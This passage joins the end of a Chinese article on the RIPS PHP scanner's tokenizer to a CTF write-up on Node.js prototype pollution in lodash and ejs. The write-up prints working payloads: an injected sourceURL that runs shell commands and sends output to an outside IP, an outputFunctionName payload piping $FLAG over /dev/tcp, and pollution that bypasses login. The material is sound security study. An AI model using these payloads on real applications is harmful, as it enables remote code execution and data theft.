else if($this->tokens[$i+$f] === '}')
$newbraceopen--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, $e+5), $this->tokens[$i][2], $this->filename);
break;
}
}
if($this->tokens[$i+$f][0] === T_BREAK)
{
if($this->tokens[$i+$f+1] === ';')
$this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2);
// break 3;
else
$this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3);
}
else
{
$this->wrapbraces($i+$e+1, $f-$e-1, $i+$f);
}
$i++;
}
}
类似的语法结构,使用`while`定位到冒号,跳过`case`条件,将`case xxx:yyyy`分割成`case xxx`、`:yyyy`两段.
随后开始处理第二段.
接着的是`if`语句,进入的条件为:
1. `$this->tokens[$i+$e]`为`:` 或 `$this->tokens[$i+$e]`为`;`
2. `$this->tokens[$i+$f]`不为`{`
3. `$this->tokens[$i+$f][0]`不为`T_CASE`或`T_DEFAULT`
在`if`语句继续包裹了一个条件要求较多的`while`语句,对应的条件如下:
while(
$newbraceopen
||
(
isset($this->tokens[$i+$f])
&&
$this->tokens[$i+$f] !== '}'
&&
!(
is_array($this->tokens[$i+$f])
&&
(
$this->tokens[$i+$f][0] === T_BREAK
||
$this->tokens[$i+$f][0] === T_CASE
||
$this->tokens[$i+$f][0] === T_DEFAULT
||
$this->tokens[$i+$f][0] === T_ENDSWITCH)
)
)
)
即:
1. $newbraceopen小于等于0
2. `$this->tokens[$i+$f][0]`处的token不为`}`或`T_BREAK`,`T_CASE`,`T_DEFAULT`,`T_ENDSWITCH`
通过这一步操作,```swicth```语句下多个条件得以分开,而接下来的语句为:
```php
if($this->tokens[$i+$f][0] === T_BREAK)
{
if($this->tokens[$i+$f+1] === ';')
$this->wrapbraces($i+$e+1, $f-$e+1, $i+$f+2);
else
$this->wrapbraces($i+$e+1, $f-$e+2, $i+$f+3);
}
else
{
$this->wrapbraces($i+$e+1, $f-$e-1, $i+$f);
}
这一段主要作用为在`break`语句处加上`{}`,补全语法结构.
接下来是与上面判断为`case`同级的`else if`语句,代码如下:
else if( $this->tokens[$i][0] === T_DEFAULT
&& $this->tokens[$i+2] !== '{' )
{
$f=2;
$newbraceopen = 0;
while( $this->tokens[$i+$f] !== ';' && $this->tokens[$i+$f] !== '}' || $newbraceopen )
{
if($this->tokens[$i+$f] === '{')
$newbraceopen++;
else if($this->tokens[$i+$f] === '}')
$newbraceopen--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find ending of '.$this->tokens[$i][1].'-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
$this->wrapbraces($i+2, $f-1, $i+$f+1);
}
该语句进入的条件为token索引信息对应为`T_DEFAULT`.
结合上面的分析经验,本段代码作用为将default的条件部分使用花括号包括,补全语法结构.
再往下为:
else if( $this->tokens[$i][0] === T_FUNCTION )
{
$this->tokens[$i+1][1] = strtolower($this->tokens[$i+1][1]);
}
else if( $this->tokens[$i][0] === T_STRING && $this->tokens[$i+1] === '(')
{
$this->tokens[$i][1] = strtolower($this->tokens[$i][1]);
}
这一段是将函数名全部小写,并没有太多要详细说明的内容.接下来是`else if`语句:
else if( $this->tokens[$i][0] === T_DO )
{
$f=2;
$otherDOs = 0;
//找到最外层的while,跳过内层while
while( $this->tokens[$i+$f][0] !== T_WHILE || $otherDOs )
{
if($this->tokens[$i+$f][0] === T_DO)
$otherDOs++;
else if($this->tokens[$i+$f][0] === T_WHILE)
$otherDOs--;
$f++;
if(!isset($this->tokens[$i+$f]))
{
addError('Could not find WHILE of DO-WHILE-statement.', array_slice($this->tokens, $i, 5), $this->tokens[$i][2], $this->filename);
break;
}
}
// 补齐花括号
if($this->tokens[$i+1] !== '{')
{
$this->wrapbraces($i+1, $f-1, $i+$f);
// by adding braces we added two new tokens
$f+=2;
}
$d=1;
//$max=count($this->tokens) 因此该while语句为在寻找临近do-while的距离
while( $this->tokens[$i+$f+$d] !== ';' \&\& $d<$max )
{
$d++;
}
// 将token中的do-while变为while
$this->tokens = array_merge(
array_slice($this->tokens, 0, $i), // before DO
array_slice($this->tokens, $i+$f, $d), // WHILE condition
array_slice($this->tokens, $i+1, $f-1), // DO WHILE loop tokens
array_slice($this->tokens, $i+$f+$d+1, count($this->tokens)) // rest of tokens without while condition
);
}
在前面的基础上,我们再来分析这一段代码便简单许多,简化一下描述便是:该段代码用以整合do-while语句,补齐语法结构并将`do-while`精简为`while`.
最后返回精简过的`token`信息:
$this->tokens = array_values($this->tokens);
### fix_ternary函数分析
从函数名分析分析,该函数作用为处理三元操作符,使其变为我们常见的语法习惯.大体结构仍然为`for`循环搭配`return`语句.
首先是`if`语句判断是否为`?`,为真则进入.并在进入后立即删除问号,随后判断在问号之前的符号是否为`)`,为真则进入,随后又删除反括号.并通过while语句将问号之前的使用括号包裹的token信息删除,直到找到最外层括号,结束while语句.
随后是if语句:
if($this->tokens[$i-$f] === '!'
|| (
is_array($this->tokens[$i-$f])
&& ($this->tokens[$i-$f][0] === T_STRING
|| $this->tokens[$i-$f][0] === T_EMPTY
|| $this->tokens[$i-$f][0] === T_ISSET
)
)
){
unset($this->tokens[$i-$f]);
}
该段if语句满足以下条件之一即可进行删除token信息处理:
1. $this->tokens[$i-$f] 为 !
2. $this->tokens[$i-$f] 为 字符串、is_empty()、isset()
接着进入与上面if同级的else if语句中:
else if(in_array($this->tokens[$i-2][0], Tokens::$T_ASSIGNMENT) || in_array($this->tokens[$i-2][0], Tokens::$T_OPERATOR) )
可以看出,仅当`$this->tokens[$i-2][0]`为指定的token信息时,才会进入接下来的操作,而指定的token信息为:
1. $T_ASSIGNMENT // 赋值符
2. $T_OPERATOR // 操作符
其中,`$T_ASSIGNMENT`为:
public static $T_ASSIGNMENT = array(
T_AND_EQUAL,
T_CONCAT_EQUAL,
T_DIV_EQUAL,
T_MINUS_EQUAL,
T_MOD_EQUAL,
T_MUL_EQUAL,
T_OR_EQUAL,
T_PLUS_EQUAL,
T_SL_EQUAL,
T_SR_EQUAL,
T_XOR_EQUAL
);
而`$T_OPERATOR`为:
public static $T_OPERATOR = array(
T_IS_EQUAL,
T_IS_GREATER_OR_EQUAL,
T_IS_IDENTICAL,
T_IS_NOT_EQUAL,
T_IS_NOT_IDENTICAL,
T_IS_SMALLER_OR_EQUAL
);
而在接下来的操作中,rips删除了`$this->tokens[$i-1]`以及`$this->tokens[$i-2]`的token信息,这里删除`-1`与`-2`位置的token是因为上面的操作符通常都是成对出现的,如`T_AND_EQUAL`对应的操作符为`&=`,因此需要删除`$i-1`与`$i-2`处的token才能保证操作符被删除干净.
而接下来的`while`语句则与前面的作用相同,都是用以删除在目标位置前,包裹在括号内的内容以及某几个特定的`token`信息.
随后进行最后的一次if判断,判断是否条件部分为单独的一个变量,如是,则删除.
最终返回token信息,至此,rips的`token`分析过程结束
## Scanner效果展示
我们自定义待扫描文件内容为:
<?php
$a = $_GET['a'];
$b = $_POST['b'];
$c = array("c"=>"c","d"=>"d");
$d = ['1','2'];
// xxxxxxx
//
`ls`;
if($a=="1") $b="2";
$a=isset($c)?"aa":"bb";
分别在`prepare_token`,`array_reconstruct_tokens`,`fix_tokens`,`fix_ternary`函数尾处添加var_dump函数,并在`tokenize`函数尾处写入`die()`
首先输出的token为:
0|1|/Applications/MAMP/htdocs/aaa.php|0| 0|1|/Applications/MAMP/htdocs/aaa.php (tokenizing)|0|
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:92:
array (size=60)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=3)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 => string '[' (length=1)
4 =>
array (size=3)
0 => int 323
1 => string ''a'' (length=3)
2 => int 3
5 => string ']' (length=1)
6 => string ';' (length=1)
7 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
8 => string '=' (length=1)
9 =>
array (size=3)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
10 => string '[' (length=1)
11 =>
array (size=3)
0 => int 323
1 => string ''b'' (length=3)
2 => int 4
12 => string ']' (length=1)
13 => string ';' (length=1)
14 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
15 => string '=' (length=1)
16 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
17 => string '(' (length=1)
18 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
19 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
20 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
21 => string ',' (length=1)
22 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
23 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
24 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
25 => string ')' (length=1)
26 => string ';' (length=1)
27 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
28 => string '=' (length=1)
29 => string '[' (length=1)
30 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
31 => string ',' (length=1)
32 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
33 => string ']' (length=1)
34 => string ';' (length=1)
35 => string '`' (length=1)
36 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
37 => string '`' (length=1)
38 => string ';' (length=1)
39 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
40 => string '(' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
42 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
43 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
44 => string ')' (length=1)
45 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
46 => string '=' (length=1)
47 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
48 => string ';' (length=1)
49 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
50 => string '=' (length=1)
51 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
52 => string '(' (length=1)
53 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
54 => string ')' (length=1)
55 => string '?' (length=1)
56 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
57 => string ':' (length=1)
58 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
59 => string ';'
随后经过`array_reconstruct_tokens`函数处理,重写了数组相关的`token`信息:
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:454:
array (size=54)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 => string '`' (length=1)
30 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
31 => string '`' (length=1)
32 => string ';' (length=1)
33 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
34 => string '(' (length=1)
35 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
36 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
38 => string ')' (length=1)
39 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
40 => string '=' (length=1)
41 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
42 => string ';' (length=1)
43 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
44 => string '=' (length=1)
45 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
46 => string '(' (length=1)
47 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
48 => string ')' (length=1)
49 => string '?' (length=1)
50 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
51 => string ':' (length=1)
52 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
53 => string ';' (length=1)
再经过`fix_tokens`处理,统一了部分token信息的写法(如对if语句统一使用花括号的标示形式)
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:379:
array (size=57)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 =>
array (size=3)
0 => int 319
1 => string 'backticks' (length=9)
2 => int 9
30 => string '(' (length=1)
31 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
32 => string ')' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
35 => string '(' (length=1)
36 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
38 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
39 => string ')' (length=1)
40 => string '{' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
42 => string '=' (length=1)
43 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
44 => string ';' (length=1)
45 => string '}' (length=1)
46 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
47 => string '=' (length=1)
48 =>
array (size=3)
0 => int 358
1 => string 'isset' (length=5)
2 => int 13
49 => string '(' (length=1)
50 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 13
51 => string ')' (length=1)
52 => string '?' (length=1)
53 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
54 => string ':' (length=1)
55 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
56 => string ';' (length=1)
最终经过`fix_ternary`函数处理,是三元运算符的表达形式得到重写(`$a=isset($c)?"aa":"bb";` =>
`$a="aa":"bb"`):
/Applications/MAMP/htdocs/rips/lib/tokenizer.php:558:
array (size=52)
0 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 3
1 => string '=' (length=1)
2 =>
array (size=4)
0 => int 320
1 => string '$_GET' (length=5)
2 => int 3
3 =>
array (size=1)
0 => string 'a' (length=1)
3 => string ';' (length=1)
4 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 4
5 => string '=' (length=1)
6 =>
array (size=4)
0 => int 320
1 => string '$_POST' (length=6)
2 => int 4
3 =>
array (size=1)
0 => string 'b' (length=1)
7 => string ';' (length=1)
8 =>
array (size=3)
0 => int 320
1 => string '$c' (length=2)
2 => int 5
9 => string '=' (length=1)
10 =>
array (size=3)
0 => int 368
1 => string 'array' (length=5)
2 => int 5
11 => string '(' (length=1)
12 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
13 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
14 =>
array (size=3)
0 => int 323
1 => string '"c"' (length=3)
2 => int 5
15 => string ',' (length=1)
16 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
17 =>
array (size=3)
0 => int 268
1 => string '=>' (length=2)
2 => int 5
18 =>
array (size=3)
0 => int 323
1 => string '"d"' (length=3)
2 => int 5
19 => string ')' (length=1)
20 => string ';' (length=1)
21 =>
array (size=3)
0 => int 320
1 => string '$d' (length=2)
2 => int 6
22 => string '=' (length=1)
23 => string '[' (length=1)
24 =>
array (size=3)
0 => int 323
1 => string ''1'' (length=3)
2 => int 6
25 => string ',' (length=1)
26 =>
array (size=3)
0 => int 323
1 => string ''2'' (length=3)
2 => int 6
27 => string ']' (length=1)
28 => string ';' (length=1)
29 =>
array (size=3)
0 => int 319
1 => string 'backticks' (length=9)
2 => int 9
30 => string '(' (length=1)
31 =>
array (size=3)
0 => int 322
1 => string 'ls' (length=2)
2 => int 9
32 => string ')' (length=1)
33 => string ';' (length=1)
34 =>
array (size=3)
0 => int 327
1 => string 'if' (length=2)
2 => int 11
35 => string '(' (length=1)
36 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 11
37 =>
array (size=3)
0 => int 285
1 => string '==' (length=2)
2 => int 11
38 =>
array (size=3)
0 => int 323
1 => string '"1"' (length=3)
2 => int 11
39 => string ')' (length=1)
40 => string '{' (length=1)
41 =>
array (size=3)
0 => int 320
1 => string '$b' (length=2)
2 => int 11
42 => string '=' (length=1)
43 =>
array (size=3)
0 => int 323
1 => string '"2"' (length=3)
2 => int 11
44 => string ';' (length=1)
45 => string '}' (length=1)
46 =>
array (size=3)
0 => int 320
1 => string '$a' (length=2)
2 => int 13
47 => string '=' (length=1)
48 =>
array (size=3)
0 => int 323
1 => string '"aa"' (length=4)
2 => int 13
49 => string ':' (length=1)
50 =>
array (size=3)
0 => int 323
1 => string '"bb"' (length=4)
2 => int 13
51 => string ';' (length=1)
## 流程总结
1. 通过`prepare_token`生成初始token信息
2. 通过`array_reconstruct_tokens`函数重写数组相关token信息
3. 通过`fix_tokens`修复大量写法不统一的语句
4. 用过`fix_ternary`统一三元运算符的表达形式
通过以上四步,我们可以得到大致处理好的token信息,而对于漏洞的扫描也是建立在上面这四步生成的token信息基础上的. | 社区文章 |
# 前言
一直对原型链污染有些地方不是很理解，通过这些题目和例子分析一下，欢迎师傅们斧正一些说的不对的地方
# 例题
## lodash
## 1、Code-Breaking thejs
`server.js`
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
只有一个功能就是把喜欢的语言，和ctf的选项提交
看到一个敏感的库`lodash`
<https://snyk.io/vuln/SNYK-JS-LODASHMERGE-173732>
存在着原型链污染，可以通过修改对象的`__proto__`来修改对象里的属性
### 测试代码
var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({},payload)
console.log(payload.isAdmin)
//true
直接将对象内的`isAdmin`修改为`true`
用`webstorm`下断点，本地打开，运行，在这两个位置下断点，跟一下代码
当我们post`{"__proto__":{"xxx":123}}`
`merge`后可以写一段`console.log(data.xxx)`会发现输出`123`
原因是修改了对象的`__proto__`，当输出`data.xxx`时会先查找`data.__proto__.xxx`
P神的[文章](https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html)说的很清楚了
我们要看看模板渲染(lodash.template)的代码，看看可以修改哪些属性，进而命令执行（我这里需要强制单步跟进，红色那个下箭头）
发现`options.sourceURL`只要存在就可以作为`sourceURL`，但是这里写死的没有设置`options`
var sourceURL = '//# sourceURL=' +
('sourceURL' in options
? options.sourceURL
: ('lodash.templateSources[' + (++templateCounter) + ']')
) + '\n';
再往下看这个变量
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
return Function 是动态函数的意思
结构：
var f = new Function('say',"alert(say);");//第一个参数，是构建出来的动态函数的参数；第二个参数，是函数体
回到题目代码很明显能看到拼接，但是前面有个注释`//# sourceURL=`,需要换行`\u000a`和`\n` 都是可以的
`new Function`里不能直接`require('child_process')`
报错结果就是页面无回显
需要用`global.process.mainModule.constructor._load`来加载库，还有容器里不存在`wget`和`curl`
需要调用`http`库
payload:
{"__proto__":{"sourceURL":"\nvar require = global.process.mainModule.constructor._load;var result = require('child_process').execSync('ls /').toString();var req = require('http').request(`http://39.108.36.103:2333/${result}`);req.end()"}}
## 2.hardjs [ejs 模板引擎]
### Referer
<https://xz.aliyun.com/t/6113>
<https://www.xmsec.cc/prototype-pollution-notes/>
### Source
<https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs>
render 过程
`res.render`
res.render = function render(view, options, callback) {
var app = this.req.app;
var done = callback;
var opts = options || {};
var req = this.req;
var self = this;
// support callback function as second arg
if (typeof options === 'function') {
done = options;
opts = {};
}
// merge res.locals
opts._locals = self.locals;
// default callback to respond
done = done || function (err, str) {
if (err) return req.next(err);
self.send(str);
};
// render
app.render(view, opts, done);
};
application app.render
app.render = function render(name, options, callback) {
……
tryRender(view, renderOptions, done);
tryRender
function tryRender(view, options, callback) {
try {
view.render(options, callback);
view.render
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};
this.engine 就是ejs了
exports.renderFile = function () {
……
return tryHandleCache(opts, data, cb);
}
tryHandleCache
function tryHandleCache(options, data, cb) {
var result;
if (!cb) {
if (typeof exports.promiseImpl == 'function') {
return new exports.promiseImpl(function (resolve, reject) {
try {
result = handleCache(options)(data);
resolve(result);
}
catch (err) {
reject(err);
}
});
}
else {
throw new Error('Please provide a callback function');
}
}
else {
try {
result = handleCache(options)(data);
}
catch (err) {
return cb(err);
}
cb(null, result);
}
}
handleCache
function handleCache(options, template) {
var func;
var filename = options.filename;
var hasTemplate = arguments.length > 1;
if (options.cache) {
if (!filename) {
throw new Error('cache option requires a filename');
}
func = exports.cache.get(filename);
if (func) {
return func;
}
if (!hasTemplate) {
template = fileLoader(filename).toString().replace(_BOM, '');
}
}
else if (!hasTemplate) {
// istanbul ignore if: should not happen at all
if (!filename) {
throw new Error('Internal EJS error: no file name or template '
+ 'provided');
}
template = fileLoader(filename).toString().replace(_BOM, '');
}
func = exports.compile(template, options);
if (options.cache) {
exports.cache.set(filename, func);
}
return func;
}
exports.complie
exports.compile = function compile(template, opts) {
var templ;
// v1 compat
// 'scope' is 'context'
// FIXME: Remove this in a future version
if (opts && opts.scope) {
if (!scopeOptionWarned){
console.warn('`scope` option is deprecated and will be removed in EJS 3');
scopeOptionWarned = true;
}
if (!opts.context) {
opts.context = opts.scope;
}
delete opts.scope;
}
templ = new Template(template, opts);
return templ.compile();
};
到Template
> function Template(text, opts) {
找compile方法
compile: function () {
……
if (!this.source) {
this.generateSource();
prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output.join("");' + '\n';
this.source = prepended + this.source + appended;
}
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + (opts.filename ?
JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
catch(e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!e.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass async: true as an option.';
}
}
throw e;
}
if (opts.client) {
fn.dependencies = this.dependencies;
return fn;
}
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = function (data) {
var include = function (path, includeData) {
var d = utils.shallowCopy({}, data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
returnedFn.dependencies = this.dependencies;
return returnedFn;
},
* 解法1 escape
……
var escapeFn = opts.escapeFunction;
……
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
payload
>
> {"type":"test","content":{"constructor":{"prototype":{"client":true,"escapeFunction":
> "1;return process.env.FLAG","compileDebug":true}}}}
打五次
else if(dataList[0].count > 5) {
……
else{
console.log("Return recorder is less than 5,so return it without merge.");
……
}
* 解法2. outputFunctionName
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
payload
>
> {"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash
> -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
这个要反弹shell，我没成功
* 解法3 污染绕过登录+xss
注册，向add 提交
{"constructor":{"prototype":{"login":true,"userid":1}}}
提交六次会进行合并
因为req.session.login 和req.session.userid 没定义 是`undefined`
function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}
当`req.session.login`和`req.session.userid`属性没有定义，会去找`req.session.__proto__.login`和`req.session.__proto__.userid`，如果不存在，再找`req.__proto__.login`
……
当污染了`{}`，会导致所有未定义的对象的`login`全都为`true`
然后看bot源码
usernameForm = client.find_element_by_xpath("//input[@name='username']")
passwordForm = client.find_element_by_xpath("//input[@name='password']")
我们需要插入让其跳转我们构造的界面
前端`jquery<3.4.1` `extends`函数存在原型链污染漏洞
function getAll(allNode){
$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
